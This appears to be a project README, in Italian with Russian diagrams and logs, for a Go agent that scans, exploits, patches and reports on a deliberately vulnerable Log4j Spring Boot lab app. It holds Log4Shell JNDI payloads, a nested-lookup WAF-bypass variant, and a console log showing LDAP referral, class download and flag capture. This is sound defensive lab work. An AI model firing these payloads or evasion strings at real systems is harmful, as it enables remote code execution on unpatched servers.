subgraph Sense ["🔍 СЕНСОРНЫЙ АНАЛИЗ (Sense)"]
    A[Внешние отклики / TCP-коллбеки]:::sense --> B(Обновление Базы Знаний):::sense
end
subgraph Think ["🧠 КОГНИТИВНОЕ ЯДРО (Think)"]
    B --> C{Вычисление Utility Policy}:::think
    C -->|Рефлексивный вывод| D[Выбор эффектора из реестра]:::think
end
subgraph subgraph_Act ["⚡ ИСПОЛНЕНИЕ (Act)"]
    D --> E[Выполнение Tool.Execute]:::act
    E -->|Воздействие| F((Java Spring Boot Target)):::target
    F -.->|Обратный канал OOB| A
end

---

## 🛠️ Architettura tecnica e componenti

La struttura software dell'agente è progettata secondo i principi dell'architettura pulita (*Hexagonal Architecture / Ports and Adapters*), SOLID e TDD:

* 📂 **[cmd/agent/main.go](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/cmd/agent/main.go)** — Punto di ingresso. Gestisce il ciclo di vita dei processi in background e coordina l'avvio della goroutine dell'agente.
* 📂 **`internal/`** — Logica di business principale del circuito cognitivo:
  * 🧠 **[agent/agent.go](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/internal/agent/agent.go)** — Circuito cognitivo. Implementa il ciclo di controllo e la regola decisionale per la selezione della strategia `Think()`.
  * 💾 **[core/model.go](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/internal/core/model.go)** — Base di conoscenza thread-safe (`KnowledgeBase` / LTM) basata su `sync.RWMutex`.
  * 🔌 **[core/effector.go](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/internal/core/effector.go)** — Interfaccia `Tool` per gli effector.
  * ⚙️ **[effectors/](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/internal/effectors/)** — Registro degli effector polimorfi (strumenti):
    * 🔍 `ToolPortScanner` — Ricognizione del perimetro di rete.
    * 🌐 `ToolDiscovery` — Ricerca di punti di giunzione e vettori di input (`X-Api-Version`).
    * 🔬 `ToolPayloadGenerator` — Sintesi del vettore di firma JNDI.
    * 🚀 `ToolProber` — Verifica della vulnerabilità tramite tracciamento out-of-band (Out-of-Band).
    * 🛡️ `ToolSemanticFuzzer` — Bypass dei classificatori di filtraggio (WAF Evasion) tramite mutazioni sintattiche annidate.
    * 🩹 `ToolRemediator` — Patching automatico (Self-Healing).
    * 📄 `ToolReporter` — Generazione del report in conformità a GOST R 56939-2016.
* 📂 **`pkg/`** — Pacchetti e librerie di supporto:
  * 📡 **[oob/](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/pkg/oob/)** — Listener out-of-band (LDAP e HTTP).
  * ☕ **[jvm/](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/pkg/jvm/)** — Gestione del ciclo di vita e del riavvio del target Java locale.
* 📂 **[deployments/](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/deployments/)** — File di configurazione per il deployment (Docker, Compose).
* 📂 **[test/vulnerable-app/](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/test/vulnerable-app/)** — Applicazione di test vulnerabile Java Spring Boot.

---

## 🎯 Apparato matematico e specifica del ciclo cognitivo (Think-Act Loop)

Il processo decisionale dell'agente è formalizzato come **processo decisionale di Markov parzialmente osservabile (POMDP)**, descritto dalla tupla $\langle S, A, T, R, \Omega, O, \gamma \rangle$:
* $S$ — spazio discreto degli stati nascosti dell'ambiente target (disponibilità della porta, presenza di parametri vulnerabili, attività del WAF, fatto di compromissione, stato del patching, presenza del report di conformità).
* $A$ — spazio delle azioni degli effector (invocazione degli strumenti: `port_scanner`, `discovery`, `payload_generator`, `prober`, `semantic_fuzzer`, `remediator`, `reporter`, `stop`).
* $\Omega$ — spazio delle osservazioni (risposte HTTP ricevute, callback TCP OOB, record del file system).
* $O(o \mid s', a)$ — funzione di osservazione che determina la probabilità di ricevere una risposta $o \in \Omega$.

### 1. Vettore di fiducia (Belief State)
L'agente non ha informazioni dirette sullo stato nascosto dell'ambiente $s \in S$ e opera con un vettore di fiducia $b(s)$ — una distribuzione di probabilità su $S$, memorizzata e aggiornata dinamicamente nella memoria `KnowledgeBase`:
* $b(S_{recon}) \in \{0, 1\}$ — stato della ricognizione di rete (porta aperta/chiusa). Mappato su `ToolPerformance["port_scanner"]`.
* $b(S_{discovery}) \in \{0, 1\}$ — mappatura dei vettori di input (se i parametri sono stati trovati). Mappato su `len(DiscoveryVectors) > 0`.
* $b(S_{payload}) \in \{0, 1\}$ — prontezza della firma exploit. Mappato su `len(CustomPayloads) > 0`.
* $b(S_{exploit}) \in \{0, 1\}$ — stato di compromissione (presenza di Loot/Flag). Mappato su `len(Loot) > 0`.
* $b(S_{patch}) \in \{0, 1\}$ — fatto di localizzazione della vulnerabilità. Mappato su `PatchApplied`.
* $b(S_{verify}) \in \{0, 1\}$ — verifica dell'assenza di un nuovo trigger OOB. Mappato su `PatchVerified`.
* $b(S_{report}) \in \{0, 1\}$ — generazione del report regolamentato. Mappato su `ReportGenerated`.

### 2. Funzione della regola decisionale (Policy Mapping)
La funzione decisionale `Think()` implementa una regola decisionale deterministica $\pi: B \to A$ che mappa sequenzialmente lo stato di fiducia accumulato corrente $b$ sull'azione ottimale dell'effector $a \in A$.

### 3. Apprendimento adattivo e valutazione dell'efficacia degli strumenti
Per ogni strumento $a \in A$ nella memoria `ToolStats` vengono accumulate statistiche e viene calcolato l'indicatore di utilità (Efficiency Score):

$$\text{EfficiencyScore}(a) = \frac{SuccessCount_a}{UsageCount_a}$$

L'agente utilizza questi indicatori per modificare dinamicamente la traiettoria: se la sonda primaria `prober` termina con un fallimento ($\text{EfficiencyScore}(\text{prober}) = 0$), l'agente identifica la presenza di filtraggio sul nodo target (WAF), attiva la strategia compensativa di bypass del WAF tramite lo strumento `semantic_fuzzer` ed esegue la mutazione del vettore di iniezione.

### Scenario passo-passo del funzionamento del banco di prova:

| Passo | Strumento selezionato | Azione e fisica del processo | Cambiamento del Belief State |
| :--- | :--- | :--- | :--- |
| **1** | `port_scanner` | Verifica del socket TCP dell'host `:8080`. | Rilevata porta HTTP aperta del servizio web ($b(S_{recon}) = 1$). |
| **2** | `discovery` | Esecuzione della richiesta GET, parsing del DOM e delle intestazioni. | Identificato il vettore di input: intestazione `X-Api-Version` ($b(S_{discovery}) = 1$). |
| **3** | `payload_generator` | Sintesi del vettore exploit di base. | Il database viene popolato con la stringa `\${jndi:ldap://127.0.0.1:1389/Exploit\}` ($b(S_{payload}) = 1$). |
| **4** | `prober` | Attacco primario. L'agente invia il payload. | Tentativo bloccato dal WAF. $\text{EfficiencyScore}(\text{prober}) = 0$. |
| **5** | `semantic_fuzzer` | Offuscamento della firma tramite nested lookups. | Generata una firma mutata ($b(S_{payload}) = 1$, WAF bypass). |
| **6** | `prober` | Attacco con vettore offuscato. | Il listener LDAP integrato rileva una connessione TCP in ingresso. Rilevato il fatto di RCE ($b(S_{exploit}) = 1$). |
| **7** | `remediator` | Correzione automatica. Scrittura del flag in `remediation.properties` e riavvio della JVM. | Il processo Spring Boot viene riavviato con il flag `-Dlog4j2.formatMsgNoLookups=true` ($b(S_{patch}) = 1$). |
| **8** | `prober` | Verifica (richiesta di sonda ripetuta). | Attesa di una connessione OOB sulla porta `1389`. Nessuna connessione $\rightarrow$ $b(S_{verify}) = 1$. |
| **9** | `reporter` | Generazione del report in markdown. | Documento `reports/cve_2021_44228_report.md` generato ($b(S_{report}) = 1$). |
| **10**| `stop` | Terminazione. | Arresto dell'esecuzione. |

## 📊 Diagrammi di flusso degli algoritmi

### 1. Algoritmo generale di funzionamento dell'agente (Sense-Think-Act Loop)
Questo schema descrive il ciclo di vita continuo del funzionamento dell'agente: dall'avvio e inizializzazione della base di conoscenza fino alla fine della sessione di audit.

---```mermaid
%%{init: {
  'theme': 'dark',
  'themeVariables': {
    'background': '#0f172a',
    'primaryColor': '#1e293b',
    'primaryTextColor': '#cbd5e1',
    'primaryBorderColor': '#475569',
    'lineColor': '#38bdf8',
    'secondaryColor': '#1e293b'
  }
}}%%
flowchart TD
    classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc;
    classDef step fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0;
    classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0;
    classDef action fill:#022c22,stroke:#10b981,stroke-width:1px,color:#e2e8f0;

    Start([Начало]):::startEnd --> Init[Инициализация StandaloneExecutor и KnowledgeBase]:::step
    Init --> LoopStart{Цикл принятия решений}:::decision
    
    %% Think Phase
    LoopStart --> Think["Think: Выбор оптимального инструмента a = Think()"]:::decision
    
    %% Branch on Stop
    Think --> IsStop{a == 'stop'?}:::decision
    IsStop -- Да --> Terminate([Завершение работы агента]):::startEnd
    
    %% Act Phase
    IsStop -- Нет --> FetchTool["Загрузка эффектора из реестра Tools[a]"]:::step
    FetchTool --> Execute[Act: Выполнение Tool.Execute]:::action
    
    %% Sense Phase
    Execute --> Sense[Sense: Получение обратной связи из внешней среды]:::action
    Sense --> UpdateStats[Обновление статистики ToolStats в памяти]:::step
    UpdateStats --> RecordObs[Запись наблюдения в Observations]:::step
    
    %% Wait
    RecordObs --> Delay[Задержка 800 мс]:::step
    Delay --> LoopStart

Start(["Вызов Think()"]):::startEnd --> Lock["Блокировка памяти RLock()"]:::process
Lock --> ReadState[Чтение вектора доверия b]:::process

%% Step 1
ReadState --> PortScan{port_scanner выполнен?}:::decision
PortScan -- Нет --> RetPortScan[Выбрать 'port_scanner']:::selection

%% Step 2
PortScan -- Да --> Discovery{Найдено векторов ввода?}:::decision
Discovery -- Нет --> RetDiscovery[Выбрать 'discovery']:::selection

%% Step 3
Discovery -- Да --> Payload{Сгенерирована эксплоит-сигнатура?}:::decision
Payload -- Нет --> RetPayload[Выбрать 'payload_generator']:::selection

%% Step 4 (Exploit)
Payload -- Да --> Loot{Флаг RCE перехвачен?}:::decision
Loot -- Нет --> ProberStats{Была попытка prober?}:::decision

ProberStats -- Нет --> RetProber[Выбрать 'prober']:::selection
ProberStats -- Да --> FuzzerStats{Fuzzer выполнен?}:::decision
FuzzerStats -- Нет --> RetFuzzer[Выбрать 'semantic_fuzzer']:::selection
FuzzerStats -- Да --> RetProber:::selection

%% Step 5
Loot -- Да --> Patch{Патч применен?}:::decision
Patch -- Нет --> RetRemediator[Выбрать 'remediator']:::selection

%% Step 6
Patch -- Да --> Verify{Патч верифицирован?}:::decision
Verify -- Нет --> RetProberVerify[Выбрать 'prober' в режиме верификации]:::selection

%% Step 7
Verify -- Да --> Report{Отчет сформирован?}:::decision
Report -- Нет --> RetReporter[Выбрать 'reporter']:::selection

%% Step 8
Report -- Да --> RetStop[Выбрать 'stop']:::selection

%% Return Statements
RetPortScan --> Unlock["Разблокировка RUnlock()"]:::process
RetDiscovery --> Unlock
RetPayload --> Unlock
RetProber --> Unlock
RetFuzzer --> Unlock
RetRemediator --> Unlock
RetProberVerify --> Unlock
RetReporter --> Unlock
RetStop --> Unlock

Unlock --> End([Возврат выбранного инструмента]):::startEnd

---

## 📦 Specifica dell'applicazione Java vulnerabile

L'applicazione target nella directory `test/vulnerable-app/` è un servizio REST minimale basato su **Spring Boot 2.7.18** con versioni volutamente ridotte delle librerie **Apache Log4j2**:```xml
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version> <!-- Уязвимая версия, поддерживающая lookup JNDI -->
</dependency>

Quando viene ricevuta una stringa del tipo `\${jndi:ldap://...\}` , il logger avvia la risoluzione dell'indirizzo JNDI, inviando una richiesta tramite il protocollo LDAP sulla porta `1389`.

---

## 🚀 Istruzioni per l'avvio

L'ambiente dimostrativo supporta due modalità di distribuzione: esecuzione locale direttamente sul sistema host (Opzione A) oppure esecuzione completamente containerizzata in un ambiente di rete isolato tramite Docker Compose (Opzione B).

### Opzione A. Esecuzione locale sul sistema host

#### Prerequisiti
* **JDK 17+** (verifica con `java -version`)
* **Maven 3.8+** (verifica con `mvn -version`)
* **Go 1.21+** (verifica con `go version`)

#### 1. Build del microservizio Java
Compila il target Java in un artefatto fat JAR:```bash
cd test/vulnerable-app
mvn clean package
cd ../..

#### 3. Compilazione e avvio del banco dimostrativo
Avvio in modalità di interpretazione Go al volo:```bash
go run ./cmd/agent

---

### Variante B. Avvio in ambiente Docker isolato (Docker Compose)

> [!TIP]
> Questa variante non richiede l'installazione di Go, Java o Maven sul sistema host. L'intero ambiente viene compilato e orchestrato automaticamente in una rete virtuale isolata `172.20.0.0/16`.


#### Prerequisiti
* **Docker** installato e plugin **Docker Compose** (verificare con `docker compose version`).

#### 1. Avvio dell'ambiente
Eseguire la build delle immagini e l'avvio dei container con un unico comando dalla directory principale del progetto:```bash
docker compose -f deployments/docker-compose.yml up --build

---

## 📊 Esempio di output della console```text
=== ДЕМОНСТРАЦИОННЫЙ СТЕНД РЕАКТИВНОГО АГЕНТА (JAVA SPRING TARGET) ===
[*] Запуск скомпилированного уязвимого Java Spring приложения локально...
[*] Ожидание инициализации веб-контекста Spring (3.5 сек)...
[*] Инициализация агента-исполнителя для цели: http://localhost:8080
================================================================
[ВЫВОД] Выбран инструмент: 'port_scanner' (Текущая фаза: Reconnaissance)
[ЭФФЕКТОР:port_scanner] Сканирование порта localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружен открытый HTTP-порт localhost:8080. Java Spring Web-служба отвечает.

[ВЫВОД] Выбран инструмент: 'discovery' (Текущая фаза: Discovery)
[ЭФФЕКТОР:discovery] Исследование структуры веб-приложения http://localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружены потенциальные векторы ввода: GET-параметр '/?input=' и HTTP-заголовок 'X-Api-Version'.

[ВЫВОД] Выбран инструмент: 'payload_generator' (Текущая фаза: Discovery)
[ЭФФЕКТОР:payload_generator] Анализ уязвимостей и синтез сигнатур...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирована сигнатурная нагрузка для CVE-2021-44228: '${jndi:ldap://127.0.0.1:1389/Exploit}'.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${jndi:ldap://127.0.0.1:1389/Exploit}' на http://localhost:8080...
[НАБЛЮДЕНИЕ] FAILURE: Атака не удалась. Уязвимость не эксплуатирована или флаг не перехвачен.

[ВЫВОД] Выбран инструмент: 'semantic_fuzzer' (Текущая фаза: Discovery)
[ЭФФЕКТОР:semantic_fuzzer] Запуск обфускации и семантического фаззинга против WAF...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирован обфусцированный вектор обхода: '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}'.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}' на http://localhost:8080...
[LDAP SERVER] Получен LDAP BindRequest. Отправка BindResponse...
[LDAP SERVER] Получен LDAP SearchRequest. Отправка JNDI Referral...
[HTTP SERVER] Получен запрос на загрузку Exploit.class
[HTTP SERVER] >>> ПЕРЕХВАЧЕН СЕКРЕТНЫЙ ФЛАГ: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026} <<<
[НАБЛЮДЕНИЕ] SUCCESS: LDAP Callback получен на порту 1389. RCE отработал. Перехваченный флаг: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026}.

[ВЫВОД] Выбран инструмент: 'remediator' (Текущая фаза: Remediation)
[ЭФФЕКТОР:remediator] Анализ причин уязвимости и генерация исправления для http://localhost:8080...
[ЭФФЕКТОР:remediator] Отправка команды применения патча на http://localhost:8080/remediate...
[НАБЛЮДЕНИЕ] REMEDIATION_SUCCESS: Патч применен. На целевое приложение отправлен запрос ремедиации (изменен флаг -Dlog4j2.formatMsgNoLookups=true). JVM успешно переинициализирована.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Verification)
[ЭФФЕКТОР:prober] Верификация патча: Повторная атака уязвимости на http://localhost:8080...
[НАБЛЮДЕНИЕ] VERIFICATION_SUCCESS: Попытка эксплуатации отклонена сервером. Входящий TCP-коллбек на порт 1389 отсутствует. Уязвимость успешно устранена.

[ВЫВОД] Выбран инструмент: 'reporter' (Текущая фаза: Verification)
[ЭФФЕКТОР:reporter] Формирование отчета об уязвимости по стандартам РФ для http://localhost:8080...
[НАБЛЮДЕНИЕ] REPORT_SUCCESS: Отчет успешно сгенерирован и сохранен в файл 'reports/cve_2021_44228_report.md'.

================================================================
[INFO] Жизненный цикл аудита, патчинга и комплаенса завершен.